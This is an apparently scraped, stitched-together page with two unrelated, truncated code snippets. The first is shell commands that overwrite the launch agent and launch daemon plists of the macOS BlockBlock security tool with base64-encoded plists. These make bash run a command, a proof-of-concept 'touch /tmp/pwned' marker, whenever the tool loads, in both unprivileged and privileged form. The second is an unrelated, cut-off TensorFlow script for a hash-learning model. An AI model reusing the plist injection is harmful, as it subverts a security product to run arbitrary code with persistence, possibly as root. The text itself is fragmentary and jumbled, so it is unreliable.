flipphillips

# Inject malicious datas into BlockBlock plist (will create "pwned-unprivileged" file in /tmp) (unprivileged)
(> ~/Library/LaunchAgents/com.objectiveSee.blockblock.plist; (echo "YnBsaXN0MDDUAQIDBAUGBQtfEBNBYmFuZG9uUHJvY2Vzc0dyb3VwXxAQUHJvZ3JhbUFyZ3VtZW50c1lSdW5BdExvYWRVTGFiZWwJowcICVRiYXNoUi1jXxBbdG91Y2ggL3RtcC9wd25lZC11bnByaXZpbGVnZWQ7IC9BcHBsaWNhdGlvbnMvQmxvY2tCbG9jay5hcHAvQ29udGVudHMvTWFjT1MvQmxvY2tCbG9jayBhZ2VudAlfECFjb20ub2JqZWN0aXZlU2VlLmJsb2NrYmxvY2suYWdlbnQIESc6REpLT1RXtbYAAAAAAAABAQAAAAAAAAAMAAAAAAAAAAAAAAAAAAAA2g==" | base64 --decode) > ~/Library/LaunchAgents/com.objectiveSee.blockblock.plist)

# Inject malicious datas into BlockBlock plist (will create "pwned-privileged" file in /tmp) (privileged)
(> /Library/LaunchDaemons/com.objectiveSee.blockblock.plist; (echo "YnBsaXN0MDDUAQIDBAUGBQtfEBNBYmFuZG9uUHJvY2Vzc0dyb3VwXxAQUHJvZ3JhbUFyZ3VtZW50c1lSdW5BdExvYWRVTGFiZWwJowcICVRiYXNoUi1jXxBadG91Y2ggL3RtcC9wd25lZC1wcml2aWxlZ2VkOyAvQXBwbGljYXRpb25zL0Jsb2NrQmxvY2suYXBwL0NvbnRlbnRzL01hY09TL0Jsb2NrQmxvY2sgZGFlbW

flipphillips

import tensorflow as tf #We need tensorflow 2.x
import numpy as np

#The hashlength in bits
hashLength = 256

def buildModel():
    #we can set the seed to simulate the fact that this network is known and doesn't change between runs
    #tf.random.set_seed(42)
    model = tf.keras.Sequential()